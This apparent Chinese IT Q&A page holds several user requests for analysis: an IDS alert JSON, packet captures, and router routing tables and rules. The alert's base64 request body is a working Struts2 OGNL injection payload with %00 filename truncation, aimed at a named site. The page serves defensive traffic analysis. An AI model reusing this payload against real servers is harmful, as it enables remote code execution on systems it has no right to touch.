MISS\",\"proto\":\"TCP\",\"event_type\":\"alert\",\"app_proto\":\"http\",\"app_proto_ts\":\"\",\"app_proto_tc\":\"\",\"buffer\":\"\",\"s2c_vlan\":[941],\"flow\":{\"app_proto\":\"\"},\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":3100154511,\"rev\":1,\"signature\":\"Mm.2138680ee46a2\",\"o_msg\":\"\",\"category\":\"\",\"severity\":3,\"family\":\"\",\"major_type\":\"\",\"machine_dir\":0},\"dns\":null,\"http\":{\"has_alert\":true,\"request_line\":\"\",\"request_line_encode\":\"UE9TVCAvdGVtcGxhdGUvc2VydmljZS9pbmRleC5odG1sIEhUVFAvMS4x\",\"response_line\":\"\",\"request_header\":\"SG9zdDogY2hleGlhbi5heGEuY24NClgtUmVxdWVzdC1JRDogYTRlZmRhYWVhMjYxMDU3NTcyNGE4MDVlNDkyYmJlMGENClgtUmVhbC1JUDogMTEzLjI0Ny4yMjMuNw0KWC1Gb3J3YXJkZWQtRm9yOiAxMTMuMjQ3LjIyMy43LCAxMTcuNDQuNzcuMzAsIDEwLjI0NC4xNDcuMTkyDQpYLUZvcndhcmRlZC1Ib3N0OiBjaGV4aWFuLmF4YS5jbg0KWC1Gb3J3YXJkZWQtUG9ydDogODANClgtRm9yd2FyZGVkLVByb3RvOiBodHRwcw0KWC1Gb3J3YXJkZWQtU2NoZW1lOiBodHRwcw0KWC1TY2hlbWU6IGh0dHBzDQpYLU9yaWdpbmFsLUZvcndhcmRlZC1Gb3I6IDExMy4yNDcuMjIzLjcsIDExNy40NC43Ny4zMA0KQ29udGVudC1MZW5ndGg6IDgxNQ0KdXNlci1hZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC83LjA7IFNMQ0MyOyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMy4wLjMwNzI5OyAuTkVUNC4wQzsgLk5FVDQuMEU7IHJ2IDExLjApIGxpa2UgR2Vja28NCmFjY2VwdDogKi8qDQphY2NlcHQtZW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KYWNjZXB0LWxhbmd1YWdlOiB6aC1jbixlbi11cztxPTAuNyxlbjtxPTAuMw0KY29udGVudC10eXBlOiBtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQplby1jb25uZWN0aW5nLWlwOiAxMTMuMjQ3LjIyMy43DQpjZG4tbG9vcDogVGVuY2VudEVkZ2VPbmU7IGxvb3BzPTINCnRlbmNlbnQtYWNjZWxlcmF0aW9uLWRvbWFpbi1uYW1lOiBjaGV4aWFuLmF4YS5jbg0KZW8tbG9nLXV1aWQ6IDM5OTkyNzA0Njg5OTE5OTMwMQ0KDQo=\",\"response_header\":\"\",\"request_body\":\"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=\",\"response_body\":\"\",\"flow_src_ip\":\"10.247.37.203\",\"flow_src_port\":56810,\"flow_dest_ip\":\"10.245.42.46\",\"flow_dest_port\":80,\"is_https\":0,\"is_http2\":0},\"metadata\":{\"flowbits\":[\"TB.SYN\",\"TB.SYNACK\",\"tcp_pkt_1300_pass\",\"httpuri_js111\",\"chunk_proxy_response_chunked_header\",\"sensor.flowbits.filter_beh_resp\",\"TB.GET.SCRIPT.ACCESS\",\"httpuri_js\",\"CORELIGHT.Manjusaka.exfil\",\"post_req1\"]},\"pat_info\":[{\"off\":56,\"len\":19}],\"in_iface\":\"ens25f1\"}", "source_format": 2, "device_id": "085C78079E9B34FE83AC3A5C3046B359", "input_type": "shm", "index": "tdp-2025-07-28", "input_uuid": "d23lcgt3ml9oqo4g59s0", "assets_machine": "默认资产__10.245.42.46", "server_port": 80, "behave_uuid": "shm76509844386627", "input_name": "shm_input", "ip_reputation": [ "info_gateway" ], "is_hw_ip": 0, "victim": "10.245.42.46", "external_ip": "113.247.223.7", "url_host": "chexian.axa.cn", "direction": "in", "url_path": "/template/service/index.html", "established": true, "last_modified_time": 1753699908, "machine_port": 80, "attacker": "113.247.223.7", "in_iface": "ens25f1", "behave_source": "shm-shm_input-127.0.0.1", "@timestamp": "2025-07-28T18:51:47+08:00", "is_black_ip": false, "run_mode": 0, "machine": "10.245.42.46", "is_newfile": 0, "data_type": "url", "time": 1753699907, "threat": { "msg": "检测到文件上传漏洞攻击,攻击者尝试使用%00截断,如报攻击成功,请及时检查截断攻击有没有利用成功。", "filter_by": [ "tdps.symbol.resp_body.json_has_array" ], "type": "exploit", "dest": "home_net", "result": "success", "characters": [ "is_in_success" ], "cap": 0, "pat_info": [ { "len": 19, "off": 56 } ], "payload": "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=", "success_by": [ "resp_body_upload_success_str" ], "failed_by": [ "http_status_3XX", "http_status_4XX" ], "is_custom": false, "id": "d23lcgt3ml9oqo4g8prg", "tag": [ "File Upload/Write", "Mitre: T1190: Exploit Public-Facing Application", "Mitre: T1221: Template Injection" ], "is_0day": 0, "direction_mask": "111", "trans_type": [ "infil", "attack_out" ], "severity": 3, "phase": "exploit", "is_connected": 0, "high_light_content": "#00#", "suuid": "S3100154511", "level": "attack", "module": "autocc", "confidence": 60, "detect_source": "", "attacker": "src", "app_proto": "http", "custom_adjustment": 0, "out_link": 0, "uts": 1747394416, "app_class_data_username_weakpwd": "", "name": "文件上传攻击", "name_lower": "文件上传攻击", "topic": "上传恶意行为", "result_code": 3, "is_apt": 0, "status": 0 } }解析这个攻击报文

filetype

Frame 6: 63 bytes on wire (504 bits), 63 bytes captured (504 bits) on interface \Device\NPF_{E6E18012-6BC3-40E2-87FD-B987B450CA13}, id 0 Section number: 1 Interface id: 0 (\Device\NPF_{E6E18012-6BC3-40E2-87FD-B987B450CA13}) Encapsulation type: Ethernet (1) Arrival Time: Aug 21, 2025 10:07:13.159693000 中国标准时间 UTC Arrival Time: Aug 21, 2025 02:07:13.159693000 UTC Epoch Arrival Time: 1755742033.159693000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 0.295483000 seconds] [Time delta from previous displayed frame: 0.295483000 seconds] [Time since reference or first frame: 12.017632000 seconds] Frame Number: 6 Frame Length: 63 bytes (504 bits) Capture Length: 63 bytes (504 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:data] [Coloring Rule Name: TCP] [Coloring Rule String: tcp] Ethernet II, Src: e0:d3:62:10:1a:55 (e0:d3:62:10:1a:55), Dst: 8c:86:dd:33:2f:28 (8c:86:dd:33:2f:28) Destination: 8c:86:dd:33:2f:28 (8c:86:dd:33:2f:28) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: e0:d3:62:10:1a:55 (e0:d3:62:10:1a:55) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 192.168.1.100, Dst: 192.168.3.101 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) Total Length: 49 Identification: 0x5be7 (23527) 010. .... = Flags: 0x2, Don't fragment ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x0000 [validation disabled] [Header checksum status: Unverified] Source Address: 192.168.1.100 Destination Address: 192.168.3.101 [Stream index: 0] Transmission Control Protocol, Src Port: 64166, Dst Port: 60000, Seq: 1, Ack: 1, Len: 9 Source Port: 64166 Destination Port: 60000 [Stream index: 0] [Conversation completeness: Complete, WITH_DATA (31)] [TCP Segment Len: 9] Sequence Number: 1 (relative sequence number) Sequence Number (raw): 387336689 [Next Sequence Number: 10 (relative sequence number)] Acknowledgment Number: 1 (relative ack number) Acknowledgment number (raw): 1889122141 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 255 [Calculated window size: 65280] [Window size scaling factor: 256] Checksum: 0x863d [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 12.017632000 seconds] [Time since previous frame in this TCP stream: 12.013701000 seconds] [SEQ/ACK analysis] [iRTT: 0.003931000 seconds] [Bytes in flight: 9] [Bytes sent since last PSH flag: 9] TCP payload (9 bytes) Data (9 bytes) Data: 313233343536373839 [Length: 9] 通过这个包修改一下拓扑图里的IP地址

filetype

Frame 6: 63 bytes on wire (504 bits), 63 bytes captured (504 bits) on interface \Device\NPF_{E6E18012-6BC3-40E2-87FD-B987B450CA13}, id 0 Section number: 1 Interface id: 0 (\Device\NPF_{E6E18012-6BC3-40E2-87FD-B987B450CA13}) Encapsulation type: Ethernet (1) Arrival Time: Aug 21, 2025 10:07:13.159693000 中国标准时间 UTC Arrival Time: Aug 21, 2025 02:07:13.159693000 UTC Epoch Arrival Time: 1755742033.159693000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 0.295483000 seconds] [Time delta from previous displayed frame: 0.295483000 seconds] [Time since reference or first frame: 12.017632000 seconds] Frame Number: 6 Frame Length: 63 bytes (504 bits) Capture Length: 63 bytes (504 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:data] [Coloring Rule Name: TCP] [Coloring Rule String: tcp] Ethernet II, Src: e0:d3:62:10:1a:55 (e0:d3:62:10:1a:55), Dst: 8c:86:dd:33:2f:28 (8c:86:dd:33:2f:28) Destination: 8c:86:dd:33:2f:28 (8c:86:dd:33:2f:28) … …0. … … … … = LG bit: Globally unique address (factory default) … …0 … … … … = IG bit: Individual address (unicast) Source: e0:d3:62:10:1a:55 (e0:d3:62:10:1a:55) … …0. … … … … = LG bit: Globally unique address (factory default) … …0 … … … … = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 192.168.1.100, Dst: 192.168.3.101 0100 … = Version: 4 … 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) Total Length: 49 Identification: 0x5be7 (23527) 010. … = Flags: 0x2, Don’t fragment …0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x0000 [validation disabled] [Header checksum status: Unverified] Source Address: 192.168.1.100 Destination Address: 192.168.3.101 [Stream index: 0] Transmission Control Protocol, Src Port: 64166, Dst Port: 60000, Seq: 1, Ack: 1, Len: 9 Source Port: 64166 Destination Port: 60000 [Stream index: 0] [Conversation completeness: Complete, WITH_DATA (31)] [TCP Segment Len: 9] Sequence Number: 1 (relative sequence number) Sequence Number (raw): 387336689 [Next Sequence Number: 10 (relative sequence number)] Acknowledgment Number: 1 (relative ack number) Acknowledgment number (raw): 1889122141 0101 … = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. … … = Reserved: Not set …0 … … = Accurate ECN: Not set … 0… … = Congestion Window Reduced: Not set … .0… … = ECN-Echo: Not set … …0. … = Urgent: Not set … …1 … = Acknowledgment: Set … … 1… = Push: Set … … .0… = Reset: Not set … … …0. = Syn: Not set … … …0 = Fin: Not set [TCP Flags: ·······AP···] Window: 255 [Calculated window size: 65280] [Window size scaling factor: 256] Checksum: 0x863d [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 12.017632000 seconds] [Time since previous frame in this TCP stream: 12.013701000 seconds] [SEQ/ACK analysis] [iRTT: 0.003931000 seconds] [Bytes in flight: 9] [Bytes sent since last PSH flag: 9] TCP payload (9 bytes) Data (9 bytes) Data: 313233343536373839 [Length: 9] Frame 7: 56 bytes on wire (448 bits), 56 bytes captured (448 bits) on interface \Device\NPF_{E6E18012-6BC3-40E2-87FD-B987B450CA13}, id 0 Section number: 1 Interface id: 0 (\Device\NPF_{E6E18012-6BC3-40E2-87FD-B987B450CA13}) Encapsulation type: Ethernet (1) Arrival Time: Aug 21, 2025 10:07:13.201939000 中国标准时间 UTC Arrival Time: Aug 21, 2025 02:07:13.201939000 UTC Epoch Arrival Time: 1755742033.201939000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 0.042246000 seconds] [Time delta from previous displayed frame: 0.042246000 seconds] [Time since reference or first frame: 12.059878000 seconds] Frame Number: 7 Frame Length: 56 bytes (448 bits) Capture Length: 56 bytes (448 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp] [Coloring Rule Name: TCP] [Coloring Rule String: tcp] Ethernet II, Src: 8c:86:dd:33:2f:28 (8c:86:dd:33:2f:28), Dst: e0:d3:62:10:1a:55 (e0:d3:62:10:1a:55) Destination: e0:d3:62:10:1a:55 (e0:d3:62:10:1a:55) … …0. … … … … = LG bit: Globally unique address (factory default) … …0 … … … … = IG bit: Individual address (unicast) Source: 8c:86:dd:33:2f:28 (8c:86:dd:33:2f:28) … …0. … … … … = LG bit: Globally unique address (factory default) … …0 … … … … = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Trailer: 0000 Internet Protocol Version 4, Src: 192.168.3.101, Dst: 192.168.1.100 0100 … = Version: 4 … 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) Total Length: 40 Identification: 0x331f (13087) 010. … = Flags: 0x2, Don’t fragment …0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 127 Protocol: TCP (6) Header Checksum: 0x4297 [validation disabled] [Header checksum status: Unverified] Source Address: 192.168.3.101 Destination Address: 192.168.1.100 [Stream index: 0] Transmission Control Protocol, Src Port: 60000, Dst Port: 64166, Seq: 1, Ack: 10, Len: 0 Source Port: 60000 Destination Port: 64166 [Stream index: 0] [Conversation completeness: Complete, WITH_DATA (31)] [TCP Segment Len: 0] Sequence Number: 1 (relative sequence number) Sequence Number (raw): 1889122141 [Next Sequence Number: 1 (relative sequence number)] Acknowledgment Number: 10 (relative ack number) Acknowledgment number (raw): 387336698 0101 … = Header Length: 20 bytes (5) Flags: 0x010 (ACK) 000. … … = Reserved: Not set …0 … … = Accurate ECN: Not set … 0… … = Congestion Window Reduced: Not set … .0… … = ECN-Echo: Not set … …0. … = Urgent: Not set … …1 … = Acknowledgment: Set … … 0… = Push: Not set … … .0… = Reset: Not set … … …0. = Syn: Not set … … …0 = Fin: Not set [TCP Flags: ·······A····] Window: 255 [Calculated window size: 65280] [Window size scaling factor: 256] Checksum: 0xbaac [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 12.059878000 seconds] [Time since previous frame in this TCP stream: 0.042246000 seconds] [SEQ/ACK analysis] [This is an ACK to the segment in frame: 6] [The RTT to ACK the segment was: 0.042246000 seconds] [iRTT: 0.003931000 seconds] listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 00:54:08.812647 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 2066893244:2066893356, ack 3794839666, win 1002, length 112 00:54:08.814409 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 112:320, ack 1, win 1002, length 208 00:54:08.815139 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 320, win 251, length 0 00:54:09.821509 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 320:512, ack 1, win 1002, length 192 00:54:09.821680 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 512:784, ack 1, win 1002, length 272 00:54:09.822547 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 784, win 255, length 0 00:54:10.844496 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 784:1152, ack 1, win 1002, length 368 00:54:10.897588 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 1152, win 254, length 0 00:54:11.290370 IP 192.168.1.100.57933 > 192.168.1.1.53: 50024+ A? optimizationguide-pa.googleapis.com. (53) 00:54:11.290729 IP 192.168.1.1.53 > 192.168.1.100.57933: 50024 ServFail 0/0/0 (53) 00:54:11.291268 IP 192.168.1.100 > 192.168.1.1: ICMP 192.168.1.100 udp port 57933 unreachable, length 89 00:54:11.868777 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 1152:1424, ack 1, win 1002, length 272 00:54:11.869673 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 1424:1584, ack 1, win 1002, length 160 00:54:11.869787 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 1584:1824, ack 1, win 1002, length 240 00:54:11.870553 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 1584, win 252, length 0 00:54:11.924818 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 1824, win 251, length 0 00:54:12.892435 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 1824:2000, ack 1, win 1002, length 176 00:54:12.892673 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 2000:2480, ack 1, win 1002, length 480 00:54:12.893585 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 2480, win 255, length 0 00:54:13.916503 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 2480:2864, ack 1, win 1002, length 384 00:54:13.962323 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 2864, win 254, length 0 00:54:14.940463 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 2864:3136, ack 1, win 1002, length 272 00:54:14.989752 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 3136, win 253, length 0 00:54:15.299954 IP 192.168.0.100.58105 > 192.168.3.101.60000: Flags [P.], seq 747139898:747139899, ack 2277206824, win 255, length 1 00:54:15.300131 ARP, Request who-has 192.168.3.101 tell 192.168.3.1, length 28 00:54:15.300988 ARP, Reply 192.168.3.101 is-at e0:d3:62:10:0f:3f (oui Unknown), length 46 00:54:15.301011 IP 192.168.3.1.58105 > 192.168.3.101.60000: Flags [P.], seq 747139898:747139899, ack 2277206824, win 255, length 1 00:54:15.351015 IP 192.168.3.101.60000 > 192.168.3.1.58105: Flags [.], ack 1, win 255, length 0 00:54:15.351118 IP 192.168.3.101.60000 > 192.168.0.100.58105: Flags [.], ack 1, win 255, length 0 00:54:15.964443 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 3136:3312, ack 1, win 1002, length 176 00:54:15.964643 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 3312:3472, ack 1, win 1002, length 160 00:54:15.965096 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 3472:3664, ack 1, win 1002, length 192 00:54:15.965463 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 3472, win 252, length 0 00:54:15.965798 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 3664:3808, ack 1, win 1002, length 144 00:54:15.966026 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 3808:4288, ack 1, win 1002, length 480 00:54:15.966458 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 3808, win 250, length 0 00:54:16.014638 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 4288, win 255, length 0 00:54:16.211652 IP 192.168.0.100.58105 > 192.168.3.101.60000: Flags [P.], seq 1:2, ack 1, win 255, length 1 00:54:16.211815 IP 192.168.3.1.58105 > 192.168.3.101.60000: Flags [P.], seq 1:2, ack 1, win 255, length 1 00:54:16.267878 IP 192.168.3.101.60000 > 192.168.3.1.58105: Flags [.], ack 2, win 255, length 0 00:54:16.267982 IP 192.168.3.101.60000 > 192.168.0.100.58105: Flags [.], ack 2, win 255, length 0 00:54:16.988822 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 4288:5616, ack 1, win 1002, length 1328 00:54:17.040537 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 5616, win 250, length 0 00:54:17.916230 IP 192.168.0.1.54004 > 255.255.255.255.29810: UDP, length 521 00:54:18.012792 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 5616:5888, ack 1, win 1002, length 272 00:54:18.013131 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 5888:6032, ack 1, win 1002, length 144 00:54:18.013899 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 6032, win 255, length 0 00:54:19.036493 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 6032:6416, ack 1, win 1002, length 384 00:54:19.088657 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 6416, win 254, length 0 00:54:20.060458 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 6416:6688, ack 1, win 1002, length 272 00:54:20.112309 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 6688, win 253, length 0 00:54:20.161769 ARP, Request who-has 192.168.3.1 (8c:86:dd:33:2f:2c (oui Unknown)) tell 192.168.3.101, length 46 00:54:20.161838 ARP, Reply 192.168.3.1 is-at 8c:86:dd:33:2f:2c (oui Unknown), length 28 00:54:21.084556 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 6688:7152, ack 1, win 1002, length 464 00:54:21.137446 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 7152, win 251, length 0 00:54:22.108460 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 7152:7424, ack 1, win 1002, length 272 00:54:22.161746 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 7424, win 250, length 0 00:54:23.132461 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 7424:7696, ack 1, win 1002, length 272 00:54:23.187595 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 7696, win 255, length 0 00:54:24.156459 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 7696:7968, ack 1, win 1002, length 272 00:54:24.211727 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 7968, win 254, length 0 00:54:25.180454 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 7968:8240, ack 1, win 1002, length 272 00:54:25.233308 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 8240, win 253, length 0 00:54:26.204492 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 8240:8512, ack 1, win 1002, length 272 00:54:26.258181 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 8512, win 252, length 0 00:54:27.228475 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 8512:8784, ack 1, win 1002, length 272 00:54:27.283643 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 8784, win 251, length 0 00:54:27.988247 IP 192.168.0.1.54004 > 255.255.255.255.29810: UDP, length 521 00:54:28.252496 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 8784:9136, ack 1, win 1002, length 352 00:54:28.296458 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 9136, win 250, length 0 00:54:29.276447 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 9136:9312, ack 1, win 1002, length 176 00:54:29.276614 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 9312:9472, ack 1, win 1002, length 160 00:54:29.277521 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 9472, win 255, length 0 00:54:29.299489 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [P.], seq 1:161, ack 9472, win 255, length 160 00:54:29.299700 IP 192.168.0.1.22 > 192.168.0.100.60319: Flags [P.], seq 9472:9520, ack 161, win 1002, length 48 00:54:29.352007 IP 192.168.0.100.60319 > 192.168.0.1.22: Flags [.], ack 9520, win 255, length 0 root@ER7206:/# ip route 127.0.0.0/8 dev lo scope link 169.254.11.20/30 dev br-lan scope link 192.168.0.0/24 dev inf.1 proto kernel scope link src 192.168.0.1 192.168.1.0/24 dev inf.2 proto kernel scope link src 192.168.1.1 192.168.2.0/24 dev inf.3 proto kernel scope link src 192.168.2.1 192.168.3.0/24 dev inf.4091 scope link root@ER7206:/# ip rule 0: from all lookup local 25: from all fwmark 0x20000/0x20000 lookup 25 27: from all lookup link 29: from all lookup lan 221: from all fwmark 0x20000/0x20000 lookup 221 20044: from 192.168.3.1 lookup wan4_eth 32766: from all lookup main 32767: from all lookup default以上是相关信息,请分析说明

资源评论
用户头像
woo静
2025.07.13
本章节深入剖析了MQTT控制报文格式,对物联网领域研究很有帮助。
用户头像
甜甜不加糖
2025.06.23
针对物联网技术的学习者而言,此文档提供了MQTT协议的细节解析。👣
用户头像
内酷少女
2025.05.09
聚焦于有效载荷部分,对于“互联网+”概念的理解有所增益。
手机看
程序员都在用的中文IT技术交流社区

程序员都在用的中文IT技术交流社区

专业的中文 IT 技术社区,与千万技术人共成长

专业的中文 IT 技术社区,与千万技术人共成长

关注【CSDN】视频号,行业资讯、技术分享精彩不断,直播好礼送不停!

